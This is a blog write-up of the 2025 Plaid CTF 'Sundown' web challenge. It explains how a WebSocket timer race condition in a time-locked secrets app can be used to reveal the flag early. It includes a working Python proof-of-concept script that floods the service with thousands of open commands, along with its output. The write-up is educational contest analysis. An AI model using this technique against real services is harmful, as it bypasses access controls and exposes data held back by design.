Elelzedel's Projects

Security and hardware enthusiast

Sundown Writeup


Introduction

Now that the 2025 Plaid CTF is over, I wanted to talk about the Sundown challenge. This challenge was fun, unique, and tricked me into staying up way past my bedtime trying to build a working POC.

You are provided with the code and a Docker Compose file (now archived here) to run everything locally. The flag is, of course, only accessible on a remote instance that you would connect to after building a working POC.

The challenge itself is a single web application that stores secrets that are revealed at a specific time.

Sundown Index Page

This application lets you store your own secrets with your own custom reveal date.

Sundown Index Page

The flag is also stored as a secret that is initialized when the application is deployed. Unfortunately, it has a reveal date of April 10th, 2026.

Red Herrings

In addition to storing flags, the application also has a basic registration and login system. All of this depends upon a PostgreSQL database. Looking through the TypeScript code that runs the application, there are a few instances of SQL queries that appear to allow for injection:

await tx.one(sql.unsafe`
    INSERT INTO sundown.user (id, password)
    VALUES (${body.username}, ${passwordHash})
    RETURNING *
`);

Looking into this deeper though, Slonik is being used to interact with the PostgreSQL database and it handles parameterization securely. sql.unsafe allows the parameters to have any type which could be dangerous in the right conditions, but it will still prevent us from extending this SQL query into anything that would allow us to directly query the flag.

The Vulnerability

Most of the service functionality is exposed as HTTP endpoints. To register, you POST a username and password to /api/register. If you want to list your secrets, you provide your session cookie in a GET request to /api/secrets/my. However, to actually query a secret you have to upgrade to a websocket connection on /api/ws. You then send a JSON message in the following format:

{
    "command":"open",
    "id":"{secret_id}"
}

Where secret_id is the secret that is being queried. If you submit an ID for a secret that has its reveal date in the past, it will immediately be revealed to you:

{
    "kind":"Reveal",
    "id":"9d2e8b79-2057-491f-ae43-7d9f87c6e16b",
    "secret":"Nerd"
}

If you submit an ID for a secret that still has its reveal date in the future, it will respond with a message similar to the following:

{
    "kind":"Update",
    "remaining":"59m"
}

This Update message will be sent at regular intervals depending on how far away you are from the reveal date. The further into the future the reveal date, the longer the interval between Update messages. For example if you query for the flag, it will only return an Update message once a day. However, if you create a secret that is supposed to be revealed in an hour, then the Update messages will be returned every 30 seconds.

Here is the code that sends that message. This function is first called when you send an open command to a secret with a reveal date in the future:

function updateTimeout() {
    if (remaining === undefined) {
        return;
    }

    if (timeout !== undefined) {
        clearTimeout(timeout);
    }

    ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));

    timeout = setTimeout(() => {
        remaining! -= timeoutDuration!;
        if (remaining! <= 0) {
            revealSecret();
        } else {
            updateTimeoutDuration();
            updateTimeout();
        }
    }, timeoutDuration);
}

What is interesting is that this function creates a timer that will recursively call itself. This potentially opens the door for race conditions. Another key is the timer callback will subtract from the remaining variable. This variable is scoped to the WebSocket session and is set when you send the open WebSocket command.

const secretData = await pool.maybeOne(sql.type(
    z.object({
        id: z.string(),
        owner_id: z.string(),
        name: z.string(),
        secret: z.string(),
        reveal_at: z.number(),
        created_at: z.number(),
    }),
)`
    SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
    FROM sundown.secret
    WHERE id = ${data.id}
`);

// [...]

remaining = new Date(secretData.reveal_at).getTime() - Date.now();

What if we make multiple open calls to the flag? Well what happens is that remaining will keep being reset from the code above. Additionally, that timer callback will also be cancelled and a new one will be created.

function updateTimeout() {
    if (remaining === undefined) {
        return;
    }

    // This will actually cancel the last timer and prevent its callback function from running
    if (timeout !== undefined) {
        clearTimeout(timeout);
    }

    ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));

    // Now it gets recreated
    timeout = setTimeout(() => {
        remaining! -= timeoutDuration!;
        if (remaining! <= 0) {
            revealSecret();
        } else {
            updateTimeoutDuration();
            updateTimeout();
        }
    }, timeoutDuration);
}

The final key to the puzzle is what happens when we call open to a secret that has its reveal date in the past. In that case, the code that handles the open command will instead call this revealSecret() function:

function revealSecret() {
    if (secretId === undefined || secret === undefined) {
        return;
    }

    ws.send(JSON.stringify({ kind: "Reveal", id: secretId, secret }));
    secretId = undefined;
    secret = undefined;
    timeout = undefined;
    remaining = undefined;
}

Of course, it reveals the secret, but look at what happens to the timeout variable. It is overwritten with undefined. This variable is responsible for holding the timer ID that was created in updateTimeout():

timeout = setTimeout(() => {
    remaining! -= timeoutDuration!;
    if (remaining! <= 0) {
        revealSecret();
    } else {
        updateTimeoutDuration();
        updateTimeout();
    }
}, timeoutDuration);

If a timer was previously created that hasn’t timed out yet, will this result in the timer being cancelled? No it won’t, it’s just a reference to the timer. In fact, if I make a new open call to a secret that is still in the future, updateTimeout() will be called, but clearTimeout() won’t be called as timeout is now undefined.

function updateTimeout() {
    if (remaining === undefined) {
        return;
    }

    // The timeout is undefined so clearTimeout() can no longer be called
    if (timeout !== undefined) {
        clearTimeout(timeout);
    }

    ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));

    // A new timeout is created without destroying the old one
    timeout = setTimeout(() => {
        remaining! -= timeoutDuration!;
        if (remaining! <= 0) {
            revealSecret();
        } else {
            updateTimeoutDuration();
            updateTimeout();
        }
    }, timeoutDuration);
}

What if we create 2 secrets, one with a reveal date in the past and one with a reveal date an hour into the future. We call open against the one in the future, updateTimeout() is called, and it creates a timer with a callback:

function updateTimeout() {
    // [...]

    // This timeout variable holds the timer ID
    timeout = setTimeout(() =>
        // This is the callback code:
        {
            remaining! -= timeoutDuration!;
            if (remaining! <= 0) {
                revealSecret();
            } else {
                updateTimeoutDuration();
                updateTimeout();
            }
        },
        // This is how long to wait before timing out and triggering the callback
        timeoutDuration
    );
}

The timer will timeout and call the callback in about 30 seconds because of how timeoutDuration is calculated. Before it times out though, we will call open against the secret in the past. This time, revealTimeout() is called which sets the timeout variable to undefined. Once again, we call open against the secret with a reveal date in the future. This time updateTimeout() will create a new timer without cancelling the previous one.

By alternating between calling open against the future secret and open against the old secret, we can spawn as many of these callbacks as we want:

{
    remaining! -= timeoutDuration!;
    if (remaining! <= 0) {
        revealSecret();
    } else {
        updateTimeoutDuration();
        updateTimeout();
    }
}

If we create a few thousand of these callbacks and then call open against the flag. Then the remaining and timeoutDuration will be swapped out with the time remaining until the flag reveal date and the timeoutDuration calculated from that remaining value (a day). This is because those variables are scoped to the WebSocket connection and not to updateTimeout() or the callback itself.

Once these callbacks start getting triggered (30 seconds after we started spawning all of them), they will rapidly decrement the remaining variable. At first they will decrement by 1 day. Unfortunately, they will also call updateTimeoutDuration() which will adjust the timeoutDuration variable and actually make it smaller as the remaining value shrinks. This, combined with some inconsistencies in how the program handles all these callbacks being triggered simulatenously, is why we need to create a few thousand of them. Eventually though, remaining will be less than or equal to 0 and instead of returning:

{
    "kind":"Update",
    "remaining":"{some duration}"
}

The callback will instead return:

{
    "kind":"Reveal",
    "id":"13371337-1337-1337-1337-133713371337",
    "secret":"PCTF{the flag}"
}

POC

import os
import random
import string
import websocket
import _thread
import time
import uuid
import requests
from time import sleep
from datetime import datetime, timedelta

ADDRESS = os.environ.get("ADDRESS")

HOST = f"https://{ADDRESS}"
WS = f"wss://{ADDRESS}/api/ws"

######################
# Register and Login #
######################

user = ''.join(random.choice(string.ascii_letters) for _ in range(10))

requests.post(f'{HOST}/api/register', json={'username':user, 'password':user})
cookies = requests.post(f'{HOST}/api/login', json={'username':user, 'password':user}).cookies

##################
# Create Secrets #
##################

# Create a secret 3 days in the past
old = datetime.now(datetime.timezone.utc) - timedelta(days = 3)
old_id = requests.post(f'{HOST}/api/secrets/create', json={"name": "oldsecret", "secret": "oldsecret", "revealAt": old.isoformat()}, cookies=cookies).json()["id"]

# Create a secret 1 hour into the future
near = datetime.now(datetime.timezone.utc) + timedelta(hours = 1)
near_id = requests.post(f'{HOST}/api/secrets/create', json={"name": "nearsecret", "secret": "nearsecret", "revealAt": near.isoformat()}, cookies=cookies).json()["id"]

##########################################
# WebSocket and Vulnerability Triggering #
##########################################

def on_message(ws, message):
    global message_count
    global flag_sent

    print(message)
    # Connected is sent by the server when a connection is established, use this to trigger the vulnerability
    if "Connected" in message:
        for i in range(6000):
            ws.send(f'{{"command":"open","id":"{near_id}"}}')
            ws.send(f'{{"command":"open","id":"{old_id}"}}')
        # Sleep to ensure that the secret flag ID is definitely the last one set
        sleep(3)
        ws.send(f'{{"command":"open","id":"13371337-1337-1337-1337-133713371337"}}')

def on_error(ws, error):
    print(error)

def on_close(ws, close_status_code, close_msg):
    print("WebSocket closed")

def on_open(ws):
    print("Opened connection")

ws = websocket.WebSocketApp(
        WS,
        on_open=on_open,
        on_message=on_message,
        on_error=on_error,
        on_close=on_close,
    )

ws.run_forever()

Running the POC

Opened connection
{"kind":"Connected"}
{"kind":"Watch","id":"3ece0e46-a7a4-4df6-bc57-d31bf471ab3b","name":"oldsecret"}
{"kind":"Reveal","id":"3ece0e46-a7a4-4df6-bc57-d31bf471ab3b","secret":"oldsecret"}
{"kind":"Watch","id":"7e66ed60-24b5-46e7-8270-868905f4415d","name":"nearsecret"}
{"kind":"Update","remaining":"59m"}
// [...]
{"kind":"Watch","id":"13371337-1337-1337-1337-133713371337","name":"Flag"}
{"kind":"Update","remaining":"1y"}
{"kind":"Update","remaining":"1y"}
{"kind":"Update","remaining":"1y"}
// [...]
{"kind":"Update","remaining":"11mo"}
{"kind":"Update","remaining":"11mo"}
{"kind":"Update","remaining":"11mo"}
// [...]
{"kind":"Update","remaining":"3w"}
{"kind":"Update","remaining":"3w"}
{"kind":"Update","remaining":"3w"}
// [...]
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Reveal","id":"13371337-1337-1337-1337-133713371337","secret":"PCTF{welcome_to_plaidctf_2026!!1one_69df568bcf58e1ff}"}
Connection to remote host was lost.
Tags: